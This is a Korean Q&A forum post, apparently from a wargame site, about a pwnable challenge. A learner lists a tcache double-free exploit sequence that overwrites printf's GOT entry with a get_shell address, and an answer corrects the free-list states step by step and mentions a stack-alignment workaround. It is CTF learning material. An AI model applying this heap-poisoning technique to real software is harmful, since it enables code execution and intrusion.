과정 질문

create(0x10, b'AAAA') create(0x10, b'AAAA') delete(0) delete(1) modify(1, 0x10, b'BBBBBBBBB') delete(1) create(0x10, p64(printf_got)) create(0x10, b'CCCC') create(0x10, p64(get_shell))

  1. A - A
  2. A - A - B
  3. A - A -> printf_got
  4. A - printf_got
  5. A - get_shell

해당 순서로 생각했는데 어떤 부분이 틀린건가요?

#pwnable
작성자 정보
답변 1
avatar
qwerty
CTF First Place
1. tcache_head -> 0                 (create, ..., delete(0))
2. tcache_head -> 1 -> 0            (delete(1))                      
3. tcache_head -> 1 -> "BBBBBBBB"   (modify)      /  1->fd = "BBBBBBBB", 1->key = "BB.."
4. tcache_head -> 1 -> 1  ...       (delete(1))
5. tcache_head -> 1 -> printf_got   (create)      /  1->fd = printf_got
6. tcache_head -> printf_got        (create)         
7. tcache_head -> x                 (create)      / printf_got = get_shell

순서입니다.

혹시 문제가 해결되지 않는다면, xmm register에 의한 align문제일 수 있으므로 printf_got 대신 다른 got를 사용해보시는 것도 좋을 것 같습니다.

2024.02.14. 18:59
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기